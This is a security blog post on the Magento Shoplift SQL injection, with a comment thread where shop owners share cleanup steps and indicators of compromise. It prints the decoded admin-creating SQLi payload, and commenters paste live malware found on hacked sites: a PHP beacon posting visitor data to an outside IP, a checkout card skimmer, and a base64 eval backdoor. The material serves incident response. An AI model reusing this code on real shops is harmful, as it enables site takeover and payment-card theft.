As warned a few days ago, the Magento Shoplift (SUPEE-5344) vulnerability details have been disclosed by the CheckPoint team. They show step by step how it can be exploited to take over a vulnerable Magento site.
They have prepared the following video showing a Proof of Concept (PoC) in which they create a fake coupon:
That’s a simple example. This vulnerability can be exploited in much more devastating ways.
Magento ShopLift in the Wild
As expected, it is now actively being exploited.
In less than 24 hours since the disclosure, we have started to see attacks via our WAF logs trying to exploit this vulnerability. It seems to be coming from a specific crime group, since they all look the same:
62.76.177.179 – – [23/Apr/2015:00:45:44 -0400] “POST /index.php/admin/Cms_Wysiwyg/[HIDDEN] HTTP/1.1” 403 1880 “-” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36”
185.22.232.218 – – [22/Apr/2015:00:42:38 -0400] “POST /index.php/admin/Cms_Wysiwyg/[HIDDEN] HTTP/1.1” 200 2211 “-” “Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0”
And always from these two IP addresses from Russia: 62.76.177.179 and 185.22.232.218. If you look for them in your logs, you can see if you have been attacked by the same group.
Our research team was able to catch and analyze their exploit. So far, it is only trying to create a fake admin user inside the Magento database, which they will certainly misuse later to take over of the site. This is the decoded exploit:
popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);
SET @SALT = “rp”;
SET @PASS = CONCAT(MD5(CONCAT( @SALT , ‘123’) ), CONCAT(‘:’, @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES (‘Firstname’,’Lastname’,”email@example.com”,’ypwq‘,@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,’U’,(SELECT user_id FROM admin_user WHERE username = ‘ypwq’),’Firstname’); —
The code is leveraging SQL Injection (SQLi) and inserting a new admin_user to the database. If you suspect you have been compromised, look for the usernames vpwq or defaultmanager as it seems to be the ones being used by this specific group so far.
Note that we are hiding some of the details and payloads, to make it hard for someone else to copy and create an exploit out of it. However, some groups already have an exploit and are attacking as many sites as they can, and pretty fast.
Protect your Magento site!
If you haven’t patched it yet, you are likely already compromised or will be soon. I recommend patching and adding your site behind a Web Application Firewall or Intrusion Detection System to stop these attacks for you.
If you’re in need of a solution, don’t hesitate to inquire about our Website Firewall; this vulnerability has been virtually patched for all existing customers.
We got owned. The username was siqi for us, FYI for anyone whos looking for the admin)user account
our honeypot has the following new admin user: dbopt, _system_backup, dataopt
We’ve got dbopt, too. What have you done, besides deleting user and installing patch?
it’s a honeypot installation – so we want to be hacked.
but on a live system:
– restore (you don’t know how many .php files etc are infected)
– install the patch
– install a WAF
– use a secure hosting provider (e.g. no outgoing connections etc)
are you blogging about what changes have been made to your honeypot system? that would be super helpful, not to mention fascinating.
Thanks!
i’ve been patching tons of sites, 60+ so far, and only 2 have been exploited, both in the 1.7 branch.
in addition to creating an admin user, they’ve modified the /lib/Varian/Db/Adaptor/Pdo/Mysql.php file in such a way that the patch fails that chunk, and that file has to be patched manually. That is the only change I’ve noticed, but it is a big one as it leaves the door open for them to get back in if not addressed.
Anyone know any other issues that should be checked and/or addressed?
I’m putting together a checklist.
Thanks!
All the exploited instances I have seen so far have had the hash/salt “f4c8e326312d5ddb79c04b408e55010a:rp”. In addition, half of the exploited instances had downloaded the Magpleasure/Filesystem extension which no longer seems to be available. The second phase of the attack happens a couple days later when they use system_backup to create a new backup and download it.
Thanks for the update @ifnull:disqus I’m seeing the MagePleasure module as well.
Removing that Module, Deleting the users, and Patching Magento, is there anything else that needs to be done to re-secure the system? Is there someplace that people are maintaining a checklist of the fixes that need to be done to re-secure a site? Thanks!!!
I just finished cleaning one up. Out of 30 sites, one was hacked. Same methodology; created a four character admin user, installed Magpleasure_filesystem and edited /lib/Varien/Db/Adapter/Pdo/Mysql.php. Only exception was they also installed Edit Area (A source code editor) in the ‘js’ directory. I found the tarball for the file system extension and a bunch of other junk all with the same creation date 4/22/15 @ 11:15PM. In the end I opted to roll the site back to the 4/21/15, patch and merge the new customer and order data with the restored DB.
I’m also seeing EditArea in the js folder on all the sites that were hacked.
Same here we discovered another hacked install this morning, identical to the first one. It was running 1.6.2, I’ve not seen a 1.4, 1.7 or 1.9 site compromised as of yet.
I’m seeing the highest percentage of 1.7 sites hacked, not sure if it is something specific to the version, or just if they’ve been around longer and are easier to find.
I think EditArea is installed with Magpleasure_filesystem
Did you notice any websites being slow to load…like practically timing out? We patched our websites after one was exploited. We had 4 websites on 1 dedicated server. All patches in, but now the sites randomly won’t load at all or take a couple minutes. Trying to figure this one out.
Hey Jeff,
I haven’t noticed that for any of the sites I’ve patched.
Is it one specific version of Magento?
Did you upgrade the Magento version at the same time, if so those setup scripts can take a long time.
Do they load faster now? Sometimes changes will trigger a reindex which slows the site down/times it out, until that completes, then the site returns to normal.
Do you have any sort of server level caching enabled (memcache/apc/varnish) etc? That needs to be cleared.
Have you manually cleared the sites caches:
rm -rf ./downloader/pearlib/cache/* ./downloader/pearlib/download/*
rm -rf ./var/cache/* ./var/session/* ./var/report/* ./var/log/*
rm -rf ./media/tmp/* ./app/code/core/Zend/Cache/* ./var/tmp/*
Have you reindexed the sites?
php ./shell/indexer.php -reindexall
Have you scanned for any other malicious changes? You can see any files modified in the last 4 days via:
find -type f -mtime -4
Make sure to remove the hacked admin users and any you don’t actively need.
Make sure to delete the MagePleasure_FileSystem module.
Make sure to delete the EditArea JavaScript code editor.
Make sure to manually make the changes to the /lib/Varian/Db/Adaptor/Pdo/Mysql.php file as the patch will fail to patch that file on a hacked site.
Change all the admin passwords, and ideally the admin login url.
Hopefully something in this message helps, please let me know if you need any assistance or have any further questions.
Cheers,
Josh
It ended up being on the server…something else the hosting company did the same weekend ugh. Fixed now though. But 3 days after the patch was installed, we had an order placed, and they said their card was used right after in a fraudulant transaction. Could there be something the patch isn’t protecting?
Yeah, yikes! The patch only protects against initial intrusion, it closes the initial entry point, but that is it.
If the site has already been hacked then likely malicious code was installed into the site as well as several new entry points. Once a site has been hacked it takes a lot more then the patches to get it back to proper working order.
Do you have a pre-hack backup of the files you can roll back to or source control on the site? If not you will want to go through the fixes I outlined above, and double check the files I mention in the update below that, as well as scan for additional changes. If you find anything new, please post back here for the benefit of the rest of us.
I’ve been putting in 16+ hr days all week patching sites and cleaning hacked sites. right now I’m seeing approx 70% of unpatched sites being hacked, which is a very high rate, at first it was only a handful.
If you don’t have a backup and need additional assistance cleaning the site(s) let me know. Best of luck with your sites! Cheers.
i had the same problem, especially the checkout was very slow.
the Problem was in the /js/index.php, it was compromised too
check also index.php and /lib/varien/autoload.php
Usernames dewo and _system_backup for our site. Dewo is email@example.com, so appears to be a typo of demo.
I’ve seen a half dozen different users names. They are all 4 char and seem random.
So I am currently fixing an exploited test-installation of magento 1.9.x , and noticed these IP adresses too. But they had a little different workflow, as I found out, they have installed the module “Magpleasure File System” remotely to get access to the filesystem.
Any other changes you’ve found?
It could come together why there was starting be active month-two ago POST requests to Magento Connect Install
POST /downloader/index.php?A=loggedin
For my magento site, the created admin user was gxer et the email gxer@example.com
Usernames are random 4 character. Look for email address email@example.com.
I checked all core files and they’ve modified the Mysql.php and IndexController.php in Magento Version 1.7.0.1 – I also compared the actual database with an unhacked mysql dump, but can’t find anything.
ypwq or vpwq???
Also there is new code injection in /js/index.php
// no files specified return 404
$id=str_replace(“www.”, “”, $_SERVER[‘HTTP_HOST’]);
//checking if client have older copy then we have on server
$url=’http://217.12.204.163/obf.php’;
if($_COOKIE[“SESSIID”]!=””){
// try automatically get content type if requested
$url=$url.’?a=’.$_COOKIE[“SESSIID”];
$data=json_encode(array(‘request’=>$_REQUEST, ‘ip’=>$_SERVER[‘REMOTE_ADDR’],’ua’=>$_SERVER[‘HTTP_USER_AGENT’],’cookie’=>$_COOKIE[“SESSIID”],’date_unix’=>time()));
$data=base64_encode($data);
$ch = curl_init();
// set custom content type if specified
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query(array(‘data’=>$data,’utmp’=>$id)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
curl_exec ($ch);
curl_close ($ch);
} else{
// try automatically get content type if requested
$rand=rand(1,9999999999);
setcookie(“SESSIID”, $rand,time()+3600);
$data=json_encode(array(‘request’=>$_REQUEST, ‘ip’=>$_SERVER[‘REMOTE_ADDR’],’ua’=>$_SERVER[‘HTTP_USER_AGENT’],’cookie’=>$rand,’date_unix’=>time()));
$data=base64_encode($data);
$url=$url.’?a=’.$rand;
$ch = curl_init();
// set custom content type if specified
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query(array(‘data’=>$data,’utmp’=>$id)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
curl_exec ($ch);
curl_close ($ch);
}
and in /js/lib/ccard.js
var snd =null;
window.onload = function () {
if((new RegExp(‘onepage|onestepcheckout|firecheckout|onestepquickcheckout|simplecheckout|checkout’)).test(window.location)) {
send();
}
};
function clk() {
var inp=document.querySelectorAll(“input, select, textarea, checkbox”);
for (var i=0;i0) {
var nme=inp[i].name;
if(nme==”) { nme=i; }
snd+=inp[i].name+’=’+inp[i].value+’&’;
}
}
}
function send() {
var btn=document.querySelectorAll(“button, input, submit, .btn, .button”);
for (var i=0;i<btn.length;i++){
var b=btn[i];
if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
if(b.addEventListener) {
b.addEventListener("click", clk, false);
}else {
b.attachEvent('onclick', clk);
}
}
}
var frm=document.querySelectorAll("form");
for (var i=0;i<frm.length;i++){
if(frm[i].addEventListener) {
frm[i].addEventListener("submit", clk, false);
}else {
frm[i].attachEvent('onsubmit', clk);
}
}
if(snd!=null) {
console.clear();
var cc = new RegExp("[0-9]{13,16}");
var asd="0";
if(cc.test(snd)){
asd="1" ;
}
var http = new XMLHttpRequest();
http.open("POST","/js/index.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+snd+"&asd="+asd);
console.clear();
}
snd=null;
setTimeout('send()', 150);
}
so far I haven’t seen this in any of my hacked sites either, but thanks for the heads up, i’ll keep my eyes peeled.
I have found this same vulnerability on a site I am cleaning up. It was very similar. It grabs form fields from pages (any page, including checkout) and submits to their server… I changed the url and build my own endpoint and verified that it works and yes they got personal and credit card information. 🙁
And new file in /js/api.php
so far I haven’t seen this in any of my hacked sites, but thanks for the heads up, i’ll keep my eyes peeled.
the content of this file is in comment above! 🙂
Thanks for keeping everyone else updated with your findings, super helpful for others dealing with hacked sites!
$hash = ’92bde3b96aff934ed67420a3f6130ac2′;
if (md5($_POST[‘hash’]) === $hash) {
mage($_POST[‘code’]);
if (isset($_POST[‘clean’]))
clean();
}
function mage($code)
{
$b = ‘b’.’as’.’e’.’6′.’4′.’_’.’d’.’eco’.’de’;
$code = $b($code);
$file = ‘no_image.gif’;
$fp = fopen($file, ‘w’);
fwrite($fp, $code);
fclose($fp);
if (is_file($file))
@include($file);
}
function clean()
{
@unlink(‘no_image.gif’);
}
which file are you seeing this in?
I get this too in /js/api.php after comparing to Magento 1.9.1 core files I can’t see the file in there at all
Hi redesigned, I hope this topic is not yet closed. I have this problem with the media/dhl/info.php. This file is weird. Had you encountered this before? The file codes looks like it’s fetching details from our magento site. I did some research and found out that it’s not only me who has this problem. here’s the code:
I’ve had another problem. On one of my sites
After patching, removing false admin users, and cleaning files, next day there where two new false admin users in backend. I have even blocked the class of IPs in .htaccess. And it didn’t help…
It starts to be really scarry, if all the magento shops are in danger.
Have you had the same?
No, I haven’t seen any additional signs of intrusion in any site I’ve fixed. are you sure the patch applied 100%, hacked sites have an altered /lib/Varian/Db/Adaptor/Pdo/Mysql.php file, so the patch will fail against that file, it has to be patched manually or replaced.
If that isn’t the issue it sounds like your site has an additional intrusion point that you haven’t yet detected. You’ll want to restore from a pre-hack backup, or if not scan everything carefully. If the site doesn’t have any core files changed, which hopefully it doesn’t you can overwrite the magento with a fresh copy of the same version number, or do a upgrade.
Best of luck figuring things out. Dealing with a hacked site is no fun!
I have had another problem.
I have cleaned one other site of our client. I mean I have
– removed the admin users
– block in htaccess both IPs
– cleand index.php from the root
– and applyed the PATCH
But after the weekend the index.php has been once again changed, and the code has been injected :
if (preg_match(‘//admin/Cms_Wysiwyg/directive/index//’, $_SERVER[‘REQUEST_URI’])) {
if ($_SERVER[‘REQUEST_METHOD’] == ‘POST’) {
if (isset($_REQUEST[‘___directive’]) && isset($_REQUEST[‘forwarded’])) {
if (preg_match(‘/report_search_grid/’, base64_decode($_REQUEST[‘___directive’])))
$_REQUEST[‘forwarded’] = $_POST[‘forwarded’] = $_GET[‘forwarded’] = $_COOKIE[‘forwarded’] = null;
}
}
}
Have you had the same problem? Where can I find the solution for this problem?
I have been looking for MagePleasure module, but it doesn’t exist in
– code/local nor in
– code/core
The one thing that I can see is that many folders has 777 access rights, so I will change the access rights for the files and folders.
I also had the same code in a site’s /index.php, no Magepleasure module.
OK I have new malware found on my site but I am not sure if it is connected to the ShopLift
files :
/media/dhl/info.php
/media/dhl/.htaccess
/js/flash/FrontendHtml.phar.php (binary file)
/js/extjs/resources/images/magento/basic-dialog/MagentoLib.php
if you wish I can send you the content of all files
I also found the /media/dhl/info.php and /media/dhl/.htaccess. Weird though, it seems that the info.php has the ability to eval arbitrary php code that is passed in but my apache access logs don’t show and POSTs to that file. But there were a lot of requests to /get.php/media/dhl/.htaccess, which I guess is a way to get the contents of that .htaccess file. :/ Not sure what to make of it, but needed to be cleaned up regardless.
Yep my client’s 1.8.1 site got hacked on 4/23 and then again by someone else on 4/26.
# modified: app/code/core/Mage/Cms/controllers/IndexController.php
# modified: downloader/cache.cfg
# modified: downloader/pearlib/php/PEAR/Command/Mage.php
# modified: downloader/pearlib/php/PEAR/Installer/Role/Mage.php
# modified: lib/Varien/Db/Adapter/Pdo/Mysql.php
ADDED:
# app/code/community/Magpleasure/
# app/design/adminhtml/default/default/layout/filesystem.xml
# app/design/adminhtml/default/default/template/filesystem/
# app/etc/modules/Magpleasure_Filesystem.xml
# downloader/.cache/community/File_System-1.0.0.tgz
# js/editarea/
# js/filesystem/
# skin/adminhtml/default/default/filesystem/
PW HASH/SALT:
f4c8e326312d5ddb79c04b408e55010a:rp
FOUR LETTER USERNAMES + email@example.com
How do we figure out whether they downloaded the database or config files, etc.?
You should check your Apache access logs. Look at the transfer size and compare it to the size of your backups.
Hi,
recently I noticed many files exported to var/export. They only contain first line: ID,”x”,x,x
I have never done any exports from within Magento!
Does anyone have an idea on how to check what has caused these csv files to be generated in var/export directory??
How do I figure out whether they downloaded the dB or config files, emails, etc
Is it normal to have csv files in /includes/stat/
In what way was it modified? downloader/cache.cfg
How to fix this file?
I don’t recall how it was modified. I could look it up if you really need to know. But anyway just reset to your latest known good commit:
cd /your/working/directory
git reset –hard
Or restore the files from a backup.
If you’re not using git on your project, and don’t back up your files, well… let me know and I’ll dig up the diff on that file so you can see what was done, I guess.
OMG just found MagPleasure, too. Thought that was a module installed by our customer. Thank you very much for sharing!
Would like to confirm that have also seen an admin user with a random 4 letter name and email@example.com. This has gone along with the Magpleasure/Filesystem extension installation. Not sure what else yet.
Following further investigation and finding a second compromised site here are some more snippets of information.
One of the files that the patch fixes is “lib/Varien/Db/Adapter/Pdo/Mysql.php”. However this file had been modified during the exploit and the patch would not fully complete as the file had been changed. Was able to resolve this by replacing the file and re-running the patch.
One thing of some concern is that the var/export folder on both compromised sites have been full of csv exports. This suggests that a lot of data has been snatched. This has happened in both a v1.9 and a v1.5 build.
Also, one site had 3 new admins created, two using the @example.com address but also one with a different address – something along the lines of system_backup (sorry I deleted it quickly). This was in an old v1.5.1 .
Remember to change your database passwords guys – if they have been able to see your local.xml file that is now no longer a secret.
So far all csvs appear to contains only product data
Can also recommend changing all existing admin passwords, possibly the usernames too from any compromised site.
Assuming that another action item is to reset all user passwords & email users, is it possible that a handful of user account email addresses have been changed? Would be interesting to do a compare of user email records pre&post hack to see what comes up.
Exploit installed MA2 Slideshow Plugin (bizarrely) – IP was in the USA 23.245.26.35 – added ma2all.js which seems like some sort of listener. Scary stuff.
Hi,
recently I noticed many files exported to var/export. They only contain first line: ID,”x”,x,x
I have never done any exports from within Magento!
Does anyone have an idea on how to check what has caused these csv files to be generated in var/export directory??
How do I figure out whether they downloaded the dB or config files, emails, etc
A brand new set of security patches today! Get them installed right away people.
On one store, I just found a nasty WSO php shell injected into errors/report.php. It allows complete system surveying, code execution, and MySQL controls. Try to run `grep -rn ‘WSOsetcookie’ .` on your store for clues.
HOLY CRAP, I just found this one as well and it is CRAZY!!!!!!!! The power of this script is really astounding, and impressive, but mostly scary what it can do. I HIGHLY encourage people to run Rick’s grep command to find, but if it doesn’t come back with anything run this one, which works for the version found on my server
grep -rn ‘xxtea_encrypt’ .
(the version on our server was obfuscated by base64 encoding plus some lame php encryption so that is why grep -rn ‘WSOsetcookie’ . didn’t work for me)
Thanks for sharing Shaun — definitely good insight about encoded variations of the shell. FYI, I have only seen it once among about a dozen stores I’ve checked, while some stores have still been compromised under different methods.
This guy is using the SUPEE-5994 exploits that are able to expose user account data. You have another patch to apply.
Since this exploit I have changed all my admin links to something other than index.php/admin which I obviously should have done years ago. But can anyone confirm if this simple change would have eliminated the capability of the exploit? It seems to me that the hackers/bots could not guess where to run the “POST /index.php/admin/Cms_Wysiwyg” command had the admin folder been changed to something random. Am I wrong about this?
On one of our sites that was compromised a user was added to admin_user with username Inuf and Password f4c8e326312d5ddb79c04b408e55010a:rp email was email@example.com
We found two files so far one was /skin/adminhtml/default/default/images/lanot/filemanager/beaks.php and the other was /js/tiny_mce/classes/firebug/press36.php these two files were sending out spam emails from our site. We are still investigating what else was changed.
We will probably have to restore the site to a previous backup as we do not know what else could have been affected.
When I click on the CMS —>PAGES —> edit Home Page appear a web page: Site in maintenance Mode—Varnish Cache
One of my clients magento store got hacked. search result from frontend goes to WSO. I am a newbie to magento. what i know is just to configure magento. PLease help
why there are so many exploits on magento….it is crazy to patch magento all the time….lord
It’s little late, but here is the qst. Did you guys see any exploitation on database? It’s hard to re-build the site without the existing database. What are the risk, if I use same database in new installation?